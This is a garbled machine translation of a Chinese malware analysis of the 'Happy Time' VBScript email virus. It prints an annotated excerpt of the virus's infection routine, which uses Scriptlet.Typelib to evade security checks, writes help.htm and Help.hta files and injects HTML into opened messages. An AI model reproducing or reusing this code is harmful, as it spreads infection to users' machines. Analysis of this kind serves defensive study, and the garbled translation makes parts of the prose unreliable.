"Happy Hour" code analysis

Transfer from < Tenkine >
====================
"Happy Time" is actually the use of hypertext Mail can be packed with scripting language features and chess recruit. As we know, the format of a message can have two kinds:
Plain text and hypertext. Hypertext (HTML) is powerful enough to say that it can be embedded in several scripting languages, often VBScript and
Javascript. "Happy Time" in the hypertext of the entrainment is the VBS. From the source code can be seen, the author is likely to be long engaged in network programming high
Hand, his knowledge of VBS is well known, and many of the technical details used are obscure, particularly the use of the type library to successfully avoid security
The means of auditing is even more impressive.
Let's take a look at what it hides under the cloak of happiness!
Happy Hour ***************
Rem I am sorry! Happy time
On Error Resume Next
Mload
' above for virus entry, and plus I am sorry! Happy time comment to indicate that the file has been infected.
Sub Mload ()
On Error Resume Next
MPath = GRF ()
Set Os = CreateObject ("Scriptlet.Typelib")
Set Oh = CreateObject ("Shell.Application")
' Set up enumeration objects, bypassing security audits
If ishtml Then
' Call the ishtml function, if it's HTML, then lowercase ...
Murl = LCase (document. Location)
If MPath = "" Then
Os.reset
Os.path = "C:help.htm"
Os.doc = lhtml ()
Os.write ()
' If MPath is empty, generate help.htm under C disk
ihtml = ""
' hypertext content, and pointing to c:help.htm
Call document. Body.insertadjacenthtml ("Afterbegin", ihtml)
Else
If Iv (MPath, "Help.vbs") Then
SetInterval "Rt ()", 10000
Else
m = "HTA"
If LCase (m) = right (Murl, Len (m)) Then
id = settimeout ("Mclose ()", 1)
' Set timeout condition
Main
Else
Os.reset ()
Os.path = MPath & "" & "Help.hta"
Os.doc = lhtml ()
Os.write ()
Iv MPath, "Help.hta"
' Generate Help.hta
End If
End If
End If
Else
Main
' No, just execute the main function
End If
End Sub
'******************************************************************